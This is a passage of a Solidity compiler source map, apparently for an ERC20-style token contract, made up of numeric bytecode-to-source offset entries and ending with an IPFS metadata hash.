;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3617:100;:::o;4598:160::-;4672:4;4689:39;283:10;4712:7;4721:6;4689:8;:39::i;:::-;-1:-1:-1;4746:4:0;4598:160;;;;;:::o;4168:422::-;4274:4;4291:36;4301:6;4309:9;4320:6;4291:9;:36::i;:::-;-1:-1:-1;;;;;4367:19:0;;4340:24;4367:19;;;:11;:19;;;;;;;;283:10;4367:33;;;;;;;;4419:26;;;;4411:79;;;;-1:-1:-1;;;4411:79:0;;6642:2:1;4411:79:0;;;6624:21:1;6681:2;6661:18;;;6654:30;6720:34;6700:18;;;6693:62;-1:-1:-1;;;6771:18:1;;;6764:38;6819:19;;4411:79:0;;;;;;;;;4501:57;4510:6;283:10;4532:25;4551:6;4532:16;:25;:::i;:::-;4501:8;:57::i;:::-;4578:4;4571:11;;;4168:422;;;;;;:::o;5255:138::-;2281:6;;5369:14;;-1:-1:-1;;;;;2281:6:0;283:10;2281:22;2273:67;;;;-1:-1:-1;;;2273:67:0;;;;;;;:::i;2368:148::-;2281:6;;-1:-1:-1;;;;;2281:6:0;283:10;2281:22;2273:67;;;;-1:-1:-1;;;2273:67:0;;;;;;;:::i;:::-;2459:6:::1;::::0;2438:40:::1;::::0;2475:1:::1;::::0;-1:-1:-1;;;;;2459:6:0::1;::::0;2438:40:::1;::::0;2475:1;;2438:40:::1;2489:6;:19:::0;;-1:-1:-1;;;;;;2489:19:0::1;::::0;;2368:148::o;3505:104::-;3561:13;3594:7;3587:14;;;;;:::i;3985:175::-;4071:4;4088:42;283:10;4112:9;4123:6;4088:9;:42::i;5401:713::-;2219:6;;-1:-1:-1;;;;;2219:6:0;5457:10;:21;:41;;;;-1:-1:-1;5483:5:0;;;;:14;5457:41;5448:88;;;;-1:-1:-1;;;5448:88:0;;;;;;;:::i;:::-;5573:7;;5549:45;;5566:4;;-1:-1:-1;;;;;5573:7:0;-1:-1:-1;;5549:8:0;:45::i;:::-;5607:21;5646:5;5631:12;;:20;;;;:::i;:::-;:36;;5655:11;5631:36;:::i;:::-;5696:4;5678:24;;;;:9;:24;;;;;:41;;5607:60;;-1:-1:-1;5607:60:0;;5678:24;;;:41;;5607:60;;5678:41;:::i;:::-;;;;-1:-1:-1;;5740:10:0;5730:21;;;;:9;:21;;;;;:38;;5755:13;;5730:21;:38;;5755:13;;5730:38;:::i;:::-;;;;-1:-1:-1;;5784:50:0;;1491:25:1;;;5813:4:0;;5793:10;;5784:50;;1479:2:1;1464:18;5784:50:0;;;;;;;5866:6;;;;;;;;;-1:-1:-1;;;;;5866:6:0;-1:-1:-1;;;;;5866:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5895:4;;;5854:61;;-1:-1:-1;;;5854:61:0;;-1:-1:-1;;;;;5895:4:0;;;5854:61;;;8430:51:1;;;;5909:4:0;8497:18:1;;;8490:60;5854:40:0;;;;;;;8403:18:1;;5854:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5847:4;:68;;-1:-1:-1;;;;;5847:68:0;;;-1:-1:-1;;;;;;5847:68:0;;;;;;5926:6;;;:22;5956:9;5975:4;5982:13;;5956:9;6023:7;2219:6;;-1:-1:-1;;;;;2219:6:0;;2154:79;6023:7;6032:21;:15;6050:3;6032:21;:::i;:::-;5926:128;;;;;;-1:-1:-1;;;;;;5926:128:0;;;-1:-1:-1;;;;;8866:32:1;;;5926:128:0;;;8848:51:1;8915:18;;;8908:34;;;;8958:18;;;8951:34;;;;9001:18;;;8994:34;;;;9065:32;;;9044:19;;;9037:61;9114:19;;;9107:35;;;;8820:19;;5926:128:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;6067:5:0;:12;;-1:-1:-1;;6067:12:0;6075:4;6067:12;;;-1:-1:-1;;6094:12:0;6081:10;:25;5401:713::o;4766:346::-;-1:-1:-1;;;;;4868:19:0;;4860:68;;;;-1:-1:-1;;;4860:68:0;;9816:2:1;4860:68:0;;;9798:21:1;9855:2;9835:18;;;9828:30;9894:34;9874:18;;;9867:62;-1:-1:-1;;;9945:18:1;;;9938:34;9989:19;;4860:68:0;9614:400:1;4860:68:0;-1:-1:-1;;;;;4947:21:0;;4939:68;;;;-1:-1:-1;;;4939:68:0;;10221:2:1;4939:68:0;;;10203:21:1;10260:2;10240:18;;;10233:30;10299:34;10279:18;;;10272:62;-1:-1:-1;;;10350:18:1;;;10343:32;10392:19;;4939:68:0;10019:398:1;4939:68:0;-1:-1:-1;;;;;5020:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5072:32;;1491:25:1;;;5072:32:0;;1464:18:1;5072:32:0;;;;;;;;4766:346;;;:::o;6954:590::-;7052:7;:16;;-1:-1:-1;;;;;7052:16:0;;;-1:-1:-1;;;;;;7052:16:0;;;;;;;7070:10;:22;;;;;;;;;;;;;;;7115:5;;;;:13;;7052:16;7115:13;;7114:45;;-1:-1:-1;7134:7:0;;-1:-1:-1;;;;;7134:7:0;7153:4;7134:24;7114:45;:69;;;-1:-1:-1;2219:6:0;;7164:7;;-1:-1:-1;;;;;7164:7:0;;;2219:6;;7164:18;7114:69;7105:117;;;;-1:-1:-1;;;7105:117:0;;10624:2:1;7105:117:0;;;10606:21:1;10663:2;10643:18;;;10636:30;10702:34;10682:18;;;10675:62;-1:-1:-1;;;10753:18:1;;;10746:31;10794:19;;7105:117:0;10422:397:1;7105:117:0;7241:7;;-1:-1:-1;;;;;7241:7:0;7233:71;;;;-1:-1:-1;;;7233:71:0;;11026:2:1;7233:71:0;;;11008:21:1;11065:2;11045:18;;;11038:30;11104:34;11084:18;;;11077:62;-1:-1:-1;;;11155:18:1;;;11148:35;11200:19;;7233:71:0;10824:401:1;7233:71:0;-1:-1:-1;;;;;7323:23:0;;7315:71;;;;-1:-1:-1;;;7315:71:0;;11432:2:1;7315:71:0;;;11414:21:1;11471:2;11451:18;;;11444:30;11510:34;11490:18;;;11483:62;-1:-1:-1;;;11561:18:1;;;11554:33;11604:19;;7315:71:0;11230:399:1;7315:71:0;7399:37;7421:6;7429;7399:21;:37::i;:::-;-1:-1:-1;;;;;;7449:20:0;;;;;;:9;:20;;;;;:30;;7473:6;;7449:20;:30;;7473:6;;7449:30;:::i;:::-;;;;;;;;7516:9;-1:-1:-1;;;;;7499:35:0;7508:6;-1:-1:-1;;;;;7499:35:0;;7527:6;7499:35;;;;1491:25:1;;1479:2;1464:18;;1345:177;6381:565:0;6462:14;6539:4;6533:11;-1:-1:-1;;;6569:4:0;6562:80;6684:6;6677:4;6671;6667:15;6660:31;6732:4;6726;6722:15;6716:4;6709:29;6817:4;6811;6805;6799;6796:1;6789:4;6783:11;6776:5;6771:51;6843:7;6840:36;;;6869:4;6863:11;6853:21;;6840:36;-1:-1:-1;6923:15:0;;-1:-1:-1;6932:6:0;6923;:15;:::i;:::-;-1:-1:-1;;;;;6903:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;6381:565:0;:::o;222:418:1:-;371:2;360:9;353:21;334:4;403:6;397:13;446:6;441:2;430:9;426:18;419:34;505:6;500:2;492:6;488:15;483:2;472:9;468:18;462:50;561:1;556:2;547:6;536:9;532:22;528:31;521:42;631:2;624;620:7;615:2;607:6;603:15;599:29;588:9;584:45;580:54;572:62;;;222:418;;;;:::o;645:131::-;-1:-1:-1;;;;;720:31:1;;710:42;;700:70;;766:1;763;756:12;700:70;645:131;:::o;781:367::-;849:6;857;910:2;898:9;889:7;885:23;881:32;878:52;;;926:1;923;916:12;878:52;965:9;952:23;984:31;1009:5;984:31;:::i;:::-;1034:5;1112:2;1097:18;;;;1084:32;;-1:-1:-1;;;781:367:1:o;1527:508::-;1604:6;1612;1620;1673:2;1661:9;1652:7;1648:23;1644:32;1641:52;;;1689:1;1686;1679:12;1641:52;1728:9;1715:23;1747:31;1772:5;1747:31;:::i;:::-;1797:5;-1:-1:-1;1854:2:1;1839:18;;1826:32;1867:33;1826:32;1867:33;:::i;:::-;1527:508;;1919:7;;-1:-1:-1;;;1999:2:1;1984:18;;;;1971:32;;1527:508::o;2229:127::-;2290:10;2285:3;2281:20;2278:1;2271:31;2321:4;2318:1;2311:15;2345:4;2342:1;2335:15;2361:275;2432:2;2426:9;2497:2;2478:13;;-1:-1:-1;;2474:27:1;2462:40;;2532:18;2517:34;;2553:22;;;2514:62;2511:88;;;2579:18;;:::i;:::-;2615:2;2608:22;2361:275;;-1:-1:-1;2361:275:1:o;2641:558::-;2683:5;2736:3;2729:4;2721:6;2717:17;2713:27;2703:55;;2754:1;2751;2744:12;2703:55;2794:6;2781:20;2824:18;2816:6;2813:30;2810:56;;;2846:18;;:::i;:::-;2890:59;2937:2;2914:17;;-1:-1:-1;;2910:31:1;2943:4;2906:42;2890:59;:::i;:::-;2974:6;2965:7;2958:23;3028:3;3021:4;3012:6;3004;3000:19;2996:30;2993:39;2990:59;;;3045:1;3042;3035:12;2990:59;3110:6;3103:4;3095:6;3091:17;3084:4;3075:7;3071:18;3058:59;3166:1;3137:20;;;3159:4;3133:31;3126:42;;;;3141:7;2641:558;-1:-1:-1;;;2641:558:1:o;3204:877::-;3256:5;3309:3;3302:4;3294:6;3290:17;3286:27;3276:55;;3327:1;3324;3317:12;3276:55;3367:6;3354:20;3397:18;3389:6;3386:30;3383:56;;;3419:18;;:::i;:::-;3465:6;3462:1;3458:14;3492:30;3516:4;3512:2;3508:13;3492:30;:::i;:::-;3558:19;;;3602:4;3634:15;;;3630:26;;;3593:14;;;;3668:15;;;3665:35;;;3696:1;3693;3686:12;3665:35;3732:4;3724:6;3720:17;3709:28;;3746:304;3762:6;3757:3;3754:15;3746:304;;;3850:3;3837:17;3886:18;3873:11;3870:35;3867:55;;;3918:1;3915;3908:12;3867:55;3947:58;4001:3;3994:4;3980:11;3972:6;3968:24;3964:35;3947:58;:::i;:::-;3935:71;;-1:-1:-1;4035:4:1;3779:14;;;;4026;;;;3746:304;;;4068:7;3204:877;-1:-1:-1;;;;;;3204:877:1:o;4086:683::-;4206:6;4214;4222;4275:2;4263:9;4254:7;4250:23;4246:32;4243:52;;;4291:1;4288;4281:12;4243:52;4331:9;4318:23;4364:18;4356:6;4353:30;4350:50;;;4396:1;4393;4386:12;4350:50;4419:59;4470:7;4461:6;4450:9;4446:22;4419:59;:::i;:::-;4409:69;;;4531:2;4520:9;4516:18;4503:32;4560:18;4550:8;4547:32;4544:52;;;4592:1;4589;4582:12;4544:52;4615:51;4658:7;4647:8;4636:9;4632:24;4615:51;:::i;:::-;4086:683;;4605:61;;-1:-1:-1;;;;4735:2:1;4720:18;;;;4707:32;;4086:683::o;4774:247::-;4833:6;4886:2;4874:9;4865:7;4861:23;4857:32;4854:52;;;4902:1;4899;4892:12;4854:52;4941:9;4928:23;4960:31;4985:5;4960:31;:::i;5026:631::-;5137:6;5145;5153;5206:2;5194:9;5185:7;5181:23;5177:32;5174:52;;;5222:1;5219;5212:12;5174:52;5262:9;5249:23;5295:18;5287:6;5284:30;5281:50;;;5327:1;5324;5317:12;5281:50;5350:59;5401:7;5392:6;5381:9;5377:22;5350:59;:::i;:::-;5340:69;;;5459:2;5448:9;5444:18;5431:32;5472:31;5497:5;5472:31;:::i;:::-;5522:5;-1:-1:-1;5579:2:1;5564:18;;5551:32;5592:33;5551:32;5592:33;:::i;:::-;5644:7;5634:17;;;5026:631;;;;;:::o;5662:388::-;5730:6;5738;5791:2;5779:9;5770:7;5766:23;5762:32;5759:52;;;5807:1;5804;5797:12;5759:52;5846:9;5833:23;5865:31;5890:5;5865:31;:::i;:::-;5915:5;-1:-1:-1;5972:2:1;5957:18;;5944:32;5985:33;5944:32;5985:33;:::i;:::-;6037:7;6027:17;;;5662:388;;;;;:::o;6055:380::-;6134:1;6130:12;;;;6177;;;6198:61;;6252:4;6244:6;6240:17;6230:27;;6198:61;6305:2;6297:6;6294:14;6274:18;6271:38;6268:161;;6351:10;6346:3;6342:20;6339:1;6332:31;6386:4;6383:1;6376:15;6414:4;6411:1;6404:15;6268:161;;6055:380;;;:::o;6849:127::-;6910:10;6905:3;6901:20;6898:1;6891:31;6941:4;6938:1;6931:15;6965:4;6962:1;6955:15;6981:128;7048:9;;;7069:11;;;7066:37;;;7083:18;;:::i;7114:356::-;7316:2;7298:21;;;7335:18;;;7328:30;7394:34;7389:2;7374:18;;7367:62;7461:2;7446:18;;7114:356::o;7475:217::-;7515:1;7541;7531:132;;7585:10;7580:3;7576:20;7573:1;7566:31;7620:4;7617:1;7610:15;7648:4;7645:1;7638:15;7531:132;-1:-1:-1;7677:9:1;;7475:217::o;7697:168::-;7770:9;;;7801;;7818:15;;;7812:22;;7798:37;7788:71;;7839:18;;:::i;7870:125::-;7935:9;;;7956:10;;;7953:36;;;7969:18;;:::i;8000:251::-;8070:6;8123:2;8111:9;8102:7;8098:23;8094:32;8091:52;;;8139:1;8136;8129:12;8091:52;8171:9;8165:16;8190:31;8215:5;8190:31;:::i;9153:456::-;9241:6;9249;9257;9310:2;9298:9;9289:7;9285:23;9281:32;9278:52;;;9326:1;9323;9316:12;9278:52;-1:-1:-1;;9371:16:1;;9477:2;9462:18;;9456:25;9573:2;9558:18;;;9552:25;9371:16;;9456:25;;-1:-1:-1;9552:25:1;9153:456;-1:-1:-1;9153:456:1:o

ipfs://feb286b661df25b889bf40fd68a7bf9fa02dd13f7eaaca964fc815bd36ddc2f0